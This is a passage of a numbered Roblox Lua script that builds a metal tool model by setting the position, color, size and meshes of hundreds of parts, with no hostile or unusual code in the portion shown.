  5400. Part432.BrickColor = BrickColor.new("Black")
  5401. Part432.Rotation = Vector3.new(-150, 0, 90)
  5402. Part432.Anchored = true
  5403. Part432.FormFactor = Enum.FormFactor.Custom
  5404. Part432.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5405. Part432.CFrame = CFrame.new(143.616272, 3.74056697, 144.331009, -7.11698249e-07, -1.00000358, -1.53289113e-06, -0.866010129, -1.49011612e-07, 0.500037193, -0.500040531, 1.68383121e-06, -0.866008461)
  5406. Part432.BottomSurface = Enum.SurfaceType.Smooth
  5407. Part432.TopSurface = Enum.SurfaceType.Smooth
  5408. Part432.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5409. Part432.Position = Vector3.new(143.616272, 3.74056697, 144.331009)
  5410. Part432.Orientation = Vector3.new(-30, -180, -90)
  5411. Part432.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5412. BlockMesh433.Parent = Part432
  5413. BlockMesh433.Scale = Vector3.new(0.0666666031, 0.500000238, 0.166666716)
  5414. BlockMesh433.Scale = Vector3.new(0.0666666031, 0.500000238, 0.166666716)
  5415. Part434.Parent = Tool0
  5416. Part434.Material = Enum.Material.Metal
  5417. Part434.BrickColor = BrickColor.new("Black")
  5418. Part434.Rotation = Vector3.new(150.009995, 0, 90)
  5419. Part434.Anchored = true
  5420. Part434.FormFactor = Enum.FormFactor.Custom
  5421. Part434.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5422. Part434.CFrame = CFrame.new(143.612946, 3.73776293, 144.382095, 2.19427147e-06, -1, -2.86016348e-06, -0.866099715, -4.70744311e-07, -0.499871284, 0.499871284, 3.57403997e-06, -0.866099715)
  5423. Part434.BottomSurface = Enum.SurfaceType.Smooth
  5424. Part434.TopSurface = Enum.SurfaceType.Smooth
  5425. Part434.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5426. Part434.Position = Vector3.new(143.612946, 3.73776293, 144.382095)
  5427. Part434.Orientation = Vector3.new(29.9899998, -180, -90)
  5428. Part434.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5429. BlockMesh435.Parent = Part434
  5430. BlockMesh435.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  5431. BlockMesh435.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  5432. Part436.Parent = Tool0
  5433. Part436.Material = Enum.Material.Metal
  5434. Part436.BrickColor = BrickColor.new("Dark stone grey")
  5435. Part436.Rotation = Vector3.new(90, 0, -180)
  5436. Part436.Anchored = true
  5437. Part436.FormFactor = Enum.FormFactor.Custom
  5438. Part436.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5439. Part436.CFrame = CFrame.new(143.229599, 4.03324604, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5440. Part436.BottomSurface = Enum.SurfaceType.Smooth
  5441. Part436.TopSurface = Enum.SurfaceType.Smooth
  5442. Part436.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5443. Part436.Position = Vector3.new(143.229599, 4.03324604, 144.434265)
  5444. Part436.Orientation = Vector3.new(90, 180, 0)
  5445. Part436.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5446. CylinderMesh437.Parent = Part436
  5447. CylinderMesh437.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  5448. CylinderMesh437.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  5449. Part438.Parent = Tool0
  5450. Part438.Material = Enum.Material.Metal
  5451. Part438.BrickColor = BrickColor.new("Dark stone grey")
  5452. Part438.Rotation = Vector3.new(90, 0, -180)
  5453. Part438.Anchored = true
  5454. Part438.FormFactor = Enum.FormFactor.Custom
  5455. Part438.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5456. Part438.CFrame = CFrame.new(143.162933, 4.03324223, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5457. Part438.BottomSurface = Enum.SurfaceType.Smooth
  5458. Part438.TopSurface = Enum.SurfaceType.Smooth
  5459. Part438.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5460. Part438.Position = Vector3.new(143.162933, 4.03324223, 144.347595)
  5461. Part438.Orientation = Vector3.new(90, 180, 0)
  5462. Part438.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5463. CylinderMesh439.Parent = Part438
  5464. CylinderMesh439.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  5465. CylinderMesh439.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  5466. Part440.Parent = Tool0
  5467. Part440.Material = Enum.Material.Metal
  5468. Part440.BrickColor = BrickColor.new("Black")
  5469. Part440.Rotation = Vector3.new(-120, 0, 90)
  5470. Part440.Anchored = true
  5471. Part440.FormFactor = Enum.FormFactor.Custom
  5472. Part440.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5473. Part440.CFrame = CFrame.new(143.626266, 3.77325511, 144.297607, 0, -1, 0, -0.49998197, 1.49011612e-08, 0.866036296, -0.866036117, -0, -0.49998188)
  5474. Part440.BottomSurface = Enum.SurfaceType.Smooth
  5475. Part440.TopSurface = Enum.SurfaceType.Smooth
  5476. Part440.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5477. Part440.Position = Vector3.new(143.626266, 3.77325511, 144.297607)
  5478. Part440.Orientation = Vector3.new(-60, 180, -90)
  5479. Part440.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5480. BlockMesh441.Parent = Part440
  5481. BlockMesh441.Scale = Vector3.new(0.0666666031, 0.400000244, 0.166666716)
  5482. BlockMesh441.Scale = Vector3.new(0.0666666031, 0.400000244, 0.166666716)
  5483. Part442.Parent = Tool0
  5484. Part442.Material = Enum.Material.Metal
  5485. Part442.BrickColor = BrickColor.new("Black")
  5486. Part442.Rotation = Vector3.new(-164.98999, 0, 90)
  5487. Part442.Anchored = true
  5488. Part442.FormFactor = Enum.FormFactor.Custom
  5489. Part442.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5490. Part442.CFrame = CFrame.new(143.612946, 3.73178697, 144.35289, 5.29132478e-07, -1.00000393, -3.57406816e-06, -0.965899885, -1.43652471e-06, 0.25893423, -0.258931458, 3.31517049e-06, -0.965902984)
  5491. Part442.BottomSurface = Enum.SurfaceType.Smooth
  5492. Part442.TopSurface = Enum.SurfaceType.Smooth
  5493. Part442.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5494. Part442.Position = Vector3.new(143.612946, 3.73178697, 144.35289)
  5495. Part442.Orientation = Vector3.new(-15.0099993, -180, -90)
  5496. Part442.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5497. BlockMesh443.Parent = Part442
  5498. BlockMesh443.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  5499. BlockMesh443.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  5500. Part444.Parent = Tool0
  5501. Part444.Material = Enum.Material.Metal
  5502. Part444.BrickColor = BrickColor.new("Black")
  5503. Part444.Rotation = Vector3.new(-90, 0, 90)
  5504. Part444.Anchored = true
  5505. Part444.FormFactor = Enum.FormFactor.Custom
  5506. Part444.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
  5507. Part444.CFrame = CFrame.new(144.67627, 3.76324797, 144.344284, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5508. Part444.BottomSurface = Enum.SurfaceType.Smooth
  5509. Part444.TopSurface = Enum.SurfaceType.Smooth
  5510. Part444.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5511. Part444.Position = Vector3.new(144.67627, 3.76324797, 144.344284)
  5512. Part444.Orientation = Vector3.new(-90, 90, 0)
  5513. Part444.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5514. CylinderMesh445.Parent = Part444
  5515. CylinderMesh445.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  5516. CylinderMesh445.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  5517. Part446.Parent = Tool0
  5518. Part446.Material = Enum.Material.Metal
  5519. Part446.Rotation = Vector3.new(90, 0, -180)
  5520. Part446.Anchored = true
  5521. Part446.FormFactor = Enum.FormFactor.Custom
  5522. Part446.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5523. Part446.CFrame = CFrame.new(143.222931, 4.05324411, 144.31427, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5524. Part446.BottomSurface = Enum.SurfaceType.Smooth
  5525. Part446.TopSurface = Enum.SurfaceType.Smooth
  5526. Part446.Position = Vector3.new(143.222931, 4.05324411, 144.31427)
  5527. Part446.Orientation = Vector3.new(90, 180, 0)
  5528. CylinderMesh447.Parent = Part446
  5529. CylinderMesh447.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5530. CylinderMesh447.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5531. Part448.Parent = Tool0
  5532. Part448.Material = Enum.Material.Metal
  5533. Part448.BrickColor = BrickColor.new("Dark stone grey")
  5534. Part448.Rotation = Vector3.new(90, 0, -90)
  5535. Part448.Anchored = true
  5536. Part448.FormFactor = Enum.FormFactor.Custom
  5537. Part448.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5538. Part448.CFrame = CFrame.new(144.016266, 3.08324695, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  5539. Part448.BottomSurface = Enum.SurfaceType.Smooth
  5540. Part448.TopSurface = Enum.SurfaceType.Smooth
  5541. Part448.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5542. Part448.Position = Vector3.new(144.016266, 3.08324695, 144.39093)
  5543. Part448.Orientation = Vector3.new(90, 90, 0)
  5544. Part448.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5545. SpecialMesh449.Parent = Part448
  5546. SpecialMesh449.Scale = Vector3.new(0.799999893, 0.0999999717, 0.0666666701)
  5547. SpecialMesh449.MeshType = Enum.MeshType.Wedge
  5548. SpecialMesh449.Scale = Vector3.new(0.799999893, 0.0999999717, 0.0666666701)
  5549. Part450.Parent = Tool0
  5550. Part450.Material = Enum.Material.Metal
  5551. Part450.BrickColor = BrickColor.new("Dark stone grey")
  5552. Part450.Rotation = Vector3.new(0, 90, 0)
  5553. Part450.Anchored = true
  5554. Part450.FormFactor = Enum.FormFactor.Custom
  5555. Part450.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5556. Part450.CFrame = CFrame.new(144.182938, 3.47324896, 144.39093, 0, -6.29872084e-05, 1.00000024, 0, 1.00000024, 6.29872084e-05, -1, -0, 0)
  5557. Part450.BottomSurface = Enum.SurfaceType.Smooth
  5558. Part450.TopSurface = Enum.SurfaceType.Smooth
  5559. Part450.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5560. Part450.Position = Vector3.new(144.182938, 3.47324896, 144.39093)
  5561. Part450.Orientation = Vector3.new(0, 90, 0)
  5562. Part450.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5563. BlockMesh451.Parent = Part450
  5564. BlockMesh451.Scale = Vector3.new(0.599999964, 0.100000009, 0.666666687)
  5565. BlockMesh451.Scale = Vector3.new(0.599999964, 0.100000009, 0.666666687)
  5566. ManualWeld452.Name = "Part-to-Handle Strong Joint"
  5567. ManualWeld452.Parent = Part450
  5568. ManualWeld452.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5569. ManualWeld452.C1 = CFrame.new(0.100006104, -0.092189312, -0.196029663, 1, 0, 0, 0, 0.000125899925, 1.00000024, 0, -1.00000024, 0.000125899925)
  5570. ManualWeld452.Part0 = Part450
  5571. ManualWeld452.Part1 = Part30
  5572. Part453.Parent = Tool0
  5573. Part453.Material = Enum.Material.Metal
  5574. Part453.BrickColor = BrickColor.new("Dark stone grey")
  5575. Part453.Rotation = Vector3.new(-90, -15.0099993, 0)
  5576. Part453.Anchored = true
  5577. Part453.FormFactor = Enum.FormFactor.Custom
  5578. Part453.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5579. Part453.CFrame = CFrame.new(143.102783, 3.81143498, 144.284271, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  5580. Part453.BottomSurface = Enum.SurfaceType.Smooth
  5581. Part453.TopSurface = Enum.SurfaceType.Smooth
  5582. Part453.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5583. Part453.Position = Vector3.new(143.102783, 3.81143498, 144.284271)
  5584. Part453.Orientation = Vector3.new(-74.9899979, -90, 90)
  5585. Part453.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5586. CylinderMesh454.Parent = Part453
  5587. CylinderMesh454.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  5588. CylinderMesh454.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  5589. Part455.Parent = Tool0
  5590. Part455.Material = Enum.Material.Metal
  5591. Part455.BrickColor = BrickColor.new("Dark stone grey")
  5592. Part455.Rotation = Vector3.new(90, 0, -180)
  5593. Part455.Anchored = true
  5594. Part455.FormFactor = Enum.FormFactor.Custom
  5595. Part455.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5596. Part455.CFrame = CFrame.new(144.969604, 4.01991081, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5597. Part455.BottomSurface = Enum.SurfaceType.Smooth
  5598. Part455.TopSurface = Enum.SurfaceType.Smooth
  5599. Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5600. Part455.Position = Vector3.new(144.969604, 4.01991081, 144.337601)
  5601. Part455.Orientation = Vector3.new(90, 180, 0)
  5602. Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5603. CylinderMesh456.Parent = Part455
  5604. CylinderMesh456.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  5605. CylinderMesh456.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  5606. Part457.Parent = Tool0
  5607. Part457.Material = Enum.Material.Metal
  5608. Part457.BrickColor = BrickColor.new("Black")
  5609. Part457.Rotation = Vector3.new(-90, 0, 90)
  5610. Part457.Anchored = true
  5611. Part457.FormFactor = Enum.FormFactor.Custom
  5612. Part457.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5613. Part457.CFrame = CFrame.new(143.772934, 3.67658401, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5614. Part457.BottomSurface = Enum.SurfaceType.Smooth
  5615. Part457.TopSurface = Enum.SurfaceType.Smooth
  5616. Part457.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5617. Part457.Position = Vector3.new(143.772934, 3.67658401, 144.39093)
  5618. Part457.Orientation = Vector3.new(-90, 90, 0)
  5619. Part457.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5620. BlockMesh458.Parent = Part457
  5621. BlockMesh458.Scale = Vector3.new(0.666666687, 0.0666666403, 0.333333343)
  5622. BlockMesh458.Scale = Vector3.new(0.666666687, 0.0666666403, 0.333333343)
  5623. Part459.Parent = Tool0
  5624. Part459.Material = Enum.Material.Metal
  5625. Part459.BrickColor = BrickColor.new("Dark stone grey")
  5626. Part459.Rotation = Vector3.new(90, 0, -180)
  5627. Part459.Anchored = true
  5628. Part459.FormFactor = Enum.FormFactor.Custom
  5629. Part459.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5630. Part459.CFrame = CFrame.new(143.239609, 4.01657677, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5631. Part459.BottomSurface = Enum.SurfaceType.Smooth
  5632. Part459.TopSurface = Enum.SurfaceType.Smooth
  5633. Part459.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5634. Part459.Position = Vector3.new(143.239609, 4.01657677, 144.434265)
  5635. Part459.Orientation = Vector3.new(90, 180, 0)
  5636. Part459.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5637. BlockMesh460.Parent = Part459
  5638. BlockMesh460.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  5639. BlockMesh460.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  5640. Part461.Parent = Tool0
  5641. Part461.Material = Enum.Material.Metal
  5642. Part461.BrickColor = BrickColor.new("Dark stone grey")
  5643. Part461.Rotation = Vector3.new(90, 0, -180)
  5644. Part461.Anchored = true
  5645. Part461.FormFactor = Enum.FormFactor.Custom
  5646. Part461.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5647. Part461.CFrame = CFrame.new(143.282944, 4.02990818, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5648. Part461.BottomSurface = Enum.SurfaceType.Smooth
  5649. Part461.TopSurface = Enum.SurfaceType.Smooth
  5650. Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5651. Part461.Position = Vector3.new(143.282944, 4.02990818, 144.337601)
  5652. Part461.Orientation = Vector3.new(90, 180, 0)
  5653. Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5654. CylinderMesh462.Parent = Part461
  5655. CylinderMesh462.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5656. CylinderMesh462.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5657. Part463.Parent = Tool0
  5658. Part463.Material = Enum.Material.Metal
  5659. Part463.BrickColor = BrickColor.new("Black")
  5660. Part463.Rotation = Vector3.new(90, 0, 90)
  5661. Part463.Anchored = true
  5662. Part463.FormFactor = Enum.FormFactor.Custom
  5663. Part463.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5664. Part463.CFrame = CFrame.new(143.782944, 3.52990198, 144.440933, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  5665. Part463.BottomSurface = Enum.SurfaceType.Smooth
  5666. Part463.TopSurface = Enum.SurfaceType.Smooth
  5667. Part463.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5668. Part463.Position = Vector3.new(143.782944, 3.52990198, 144.440933)
  5669. Part463.Orientation = Vector3.new(90, -90, 0)
  5670. Part463.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5671. BlockMesh464.Parent = Part463
  5672. BlockMesh464.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666734)
  5673. BlockMesh464.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666734)
  5674. Part465.Parent = Tool0
  5675. Part465.Material = Enum.Material.Metal
  5676. Part465.BrickColor = BrickColor.new("Dark stone grey")
  5677. Part465.Rotation = Vector3.new(90, 0, -90)
  5678. Part465.Anchored = true
  5679. Part465.FormFactor = Enum.FormFactor.Custom
  5680. Part465.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5681. Part465.CFrame = CFrame.new(143.329605, 3.973243, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  5682. Part465.BottomSurface = Enum.SurfaceType.Smooth
  5683. Part465.TopSurface = Enum.SurfaceType.Smooth
  5684. Part465.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5685. Part465.Position = Vector3.new(143.329605, 3.973243, 144.39093)
  5686. Part465.Orientation = Vector3.new(90, 90, 0)
  5687. Part465.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5688. SpecialMesh466.Parent = Part465
  5689. SpecialMesh466.Scale = Vector3.new(0.600000024, 0.100000009, 0.166666672)
  5690. SpecialMesh466.MeshType = Enum.MeshType.Wedge
  5691. SpecialMesh466.Scale = Vector3.new(0.600000024, 0.100000009, 0.166666672)
  5692. Part467.Parent = Tool0
  5693. Part467.Material = Enum.Material.Metal
  5694. Part467.BrickColor = BrickColor.new("Black")
  5695. Part467.Rotation = Vector3.new(-90, 0, 90)
  5696. Part467.Anchored = true
  5697. Part467.FormFactor = Enum.FormFactor.Custom
  5698. Part467.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
  5699. Part467.CFrame = CFrame.new(144.67627, 3.71991396, 144.397598, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5700. Part467.BottomSurface = Enum.SurfaceType.Smooth
  5701. Part467.TopSurface = Enum.SurfaceType.Smooth
  5702. Part467.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5703. Part467.Position = Vector3.new(144.67627, 3.71991396, 144.397598)
  5704. Part467.Orientation = Vector3.new(-90, 90, 0)
  5705. Part467.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5706. BlockMesh468.Parent = Part467
  5707. BlockMesh468.Scale = Vector3.new(0.533332944, 1, 0.23333329)
  5708. BlockMesh468.Scale = Vector3.new(0.533332944, 1, 0.23333329)
  5709. Part469.Parent = Tool0
  5710. Part469.Material = Enum.Material.Metal
  5711. Part469.BrickColor = BrickColor.new("Dark stone grey")
  5712. Part469.Rotation = Vector3.new(90, 0, -180)
  5713. Part469.Anchored = true
  5714. Part469.FormFactor = Enum.FormFactor.Custom
  5715. Part469.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5716. Part469.CFrame = CFrame.new(143.302933, 4.00991011, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5717. Part469.BottomSurface = Enum.SurfaceType.Smooth
  5718. Part469.TopSurface = Enum.SurfaceType.Smooth
  5719. Part469.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5720. Part469.Position = Vector3.new(143.302933, 4.00991011, 144.337601)
  5721. Part469.Orientation = Vector3.new(90, 180, 0)
  5722. Part469.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5723. BlockMesh470.Parent = Part469
  5724. BlockMesh470.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  5725. BlockMesh470.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  5726. Part471.Parent = Tool0
  5727. Part471.Material = Enum.Material.Metal
  5728. Part471.BrickColor = BrickColor.new("Black")
  5729. Part471.Rotation = Vector3.new(-90, 0, 90)
  5730. Part471.Anchored = true
  5731. Part471.FormFactor = Enum.FormFactor.Symmetric
  5732. Part471.Size = Vector3.new(1, 1, 1)
  5733. Part471.CFrame = CFrame.new(143.78627, 3.09325004, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5734. Part471.BottomSurface = Enum.SurfaceType.Smooth
  5735. Part471.TopSurface = Enum.SurfaceType.Smooth
  5736. Part471.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5737. Part471.Position = Vector3.new(143.78627, 3.09325004, 144.39093)
  5738. Part471.Orientation = Vector3.new(-90, 90, 0)
  5739. Part471.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5740. SpecialMesh472.Parent = Part471
  5741. SpecialMesh472.Scale = Vector3.new(0.13333334, 0.0666666701, 0.0333333351)
  5742. SpecialMesh472.MeshType = Enum.MeshType.Wedge
  5743. SpecialMesh472.Scale = Vector3.new(0.13333334, 0.0666666701, 0.0333333351)
  5744. Part473.Parent = Tool0
  5745. Part473.Material = Enum.Material.Metal
  5746. Part473.BrickColor = BrickColor.new("Black")
  5747. Part473.Rotation = Vector3.new(-90, 0, 90)
  5748. Part473.Anchored = true
  5749. Part473.FormFactor = Enum.FormFactor.Symmetric
  5750. Part473.Size = Vector3.new(1, 1, 1)
  5751. Part473.CFrame = CFrame.new(143.736267, 3.14325094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5752. Part473.BottomSurface = Enum.SurfaceType.Smooth
  5753. Part473.TopSurface = Enum.SurfaceType.Smooth
  5754. Part473.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5755. Part473.Position = Vector3.new(143.736267, 3.14325094, 144.39093)
  5756. Part473.Orientation = Vector3.new(-90, 90, 0)
  5757. Part473.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5758. SpecialMesh474.Parent = Part473
  5759. SpecialMesh474.Scale = Vector3.new(0.13333334, 0.0333333351, 0.0666666701)
  5760. SpecialMesh474.MeshType = Enum.MeshType.Wedge
  5761. SpecialMesh474.Scale = Vector3.new(0.13333334, 0.0333333351, 0.0666666701)
  5762. Part475.Parent = Tool0
  5763. Part475.Material = Enum.Material.Metal
  5764. Part475.BrickColor = BrickColor.new("Black")
  5765. Part475.Rotation = Vector3.new(90, 0, 90)
  5766. Part475.Anchored = true
  5767. Part475.FormFactor = Enum.FormFactor.Custom
  5768. Part475.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5769. Part475.CFrame = CFrame.new(143.772934, 3.48657203, 144.440933, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  5770. Part475.BottomSurface = Enum.SurfaceType.Smooth
  5771. Part475.TopSurface = Enum.SurfaceType.Smooth
  5772. Part475.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5773. Part475.Position = Vector3.new(143.772934, 3.48657203, 144.440933)
  5774. Part475.Orientation = Vector3.new(90, -90, 0)
  5775. Part475.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5776. SpecialMesh476.Parent = Part475
  5777. SpecialMesh476.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  5778. SpecialMesh476.MeshType = Enum.MeshType.Wedge
  5779. SpecialMesh476.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  5780. Part477.Parent = Tool0
  5781. Part477.Material = Enum.Material.Metal
  5782. Part477.BrickColor = BrickColor.new("Dark stone grey")
  5783. Part477.Rotation = Vector3.new(90, 0, -180)
  5784. Part477.Anchored = true
  5785. Part477.FormFactor = Enum.FormFactor.Custom
  5786. Part477.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5787. Part477.CFrame = CFrame.new(143.156265, 4.0132432, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5788. Part477.BottomSurface = Enum.SurfaceType.Smooth
  5789. Part477.TopSurface = Enum.SurfaceType.Smooth
  5790. Part477.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5791. Part477.Position = Vector3.new(143.156265, 4.0132432, 144.434265)
  5792. Part477.Orientation = Vector3.new(90, 180, 0)
  5793. Part477.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5794. BlockMesh478.Parent = Part477
  5795. BlockMesh478.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  5796. BlockMesh478.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  5797. Part479.Parent = Tool0
  5798. Part479.Material = Enum.Material.Metal
  5799. Part479.BrickColor = BrickColor.new("Dark stone grey")
  5800. Part479.Rotation = Vector3.new(90, 0, -180)
  5801. Part479.Anchored = true
  5802. Part479.FormFactor = Enum.FormFactor.Custom
  5803. Part479.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5804. Part479.CFrame = CFrame.new(144.939606, 4.04324293, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5805. Part479.BottomSurface = Enum.SurfaceType.Smooth
  5806. Part479.TopSurface = Enum.SurfaceType.Smooth
  5807. Part479.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5808. Part479.Position = Vector3.new(144.939606, 4.04324293, 144.444275)
  5809. Part479.Orientation = Vector3.new(90, 180, 0)
  5810. Part479.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5811. BlockMesh480.Parent = Part479
  5812. BlockMesh480.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  5813. BlockMesh480.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  5814. Part481.Parent = Tool0
  5815. Part481.Material = Enum.Material.Metal
  5816. Part481.BrickColor = BrickColor.new("Dark stone grey")
  5817. Part481.Rotation = Vector3.new(90, 0, -180)
  5818. Part481.Anchored = true
  5819. Part481.FormFactor = Enum.FormFactor.Custom
  5820. Part481.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5821. Part481.CFrame = CFrame.new(144.389603, 3.90657496, 144.267593, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5822. Part481.BottomSurface = Enum.SurfaceType.Smooth
  5823. Part481.TopSurface = Enum.SurfaceType.Smooth
  5824. Part481.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5825. Part481.Position = Vector3.new(144.389603, 3.90657496, 144.267593)
  5826. Part481.Orientation = Vector3.new(90, 180, 0)
  5827. Part481.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5828. CylinderMesh482.Parent = Part481
  5829. CylinderMesh482.Scale = Vector3.new(0.333333343, 0.100000009, 1.66666675)
  5830. CylinderMesh482.Scale = Vector3.new(0.333333343, 0.100000009, 1.66666675)
  5831. Part483.Parent = Tool0
  5832. Part483.Material = Enum.Material.Metal
  5833. Part483.BrickColor = BrickColor.new("Dark stone grey")
  5834. Part483.Rotation = Vector3.new(90, 0, -180)
  5835. Part483.Anchored = true
  5836. Part483.FormFactor = Enum.FormFactor.Custom
  5837. Part483.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5838. Part483.CFrame = CFrame.new(143.156265, 4.0299139, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5839. Part483.BottomSurface = Enum.SurfaceType.Smooth
  5840. Part483.TopSurface = Enum.SurfaceType.Smooth
  5841. Part483.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5842. Part483.Position = Vector3.new(143.156265, 4.0299139, 144.444275)
  5843. Part483.Orientation = Vector3.new(90, 180, 0)
  5844. Part483.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5845. CylinderMesh484.Parent = Part483
  5846. CylinderMesh484.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5847. CylinderMesh484.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5848. Part485.Parent = Tool0
  5849. Part485.Material = Enum.Material.Metal
  5850. Part485.BrickColor = BrickColor.new("Black")
  5851. Part485.Rotation = Vector3.new(-90, 0, -180)
  5852. Part485.Anchored = true
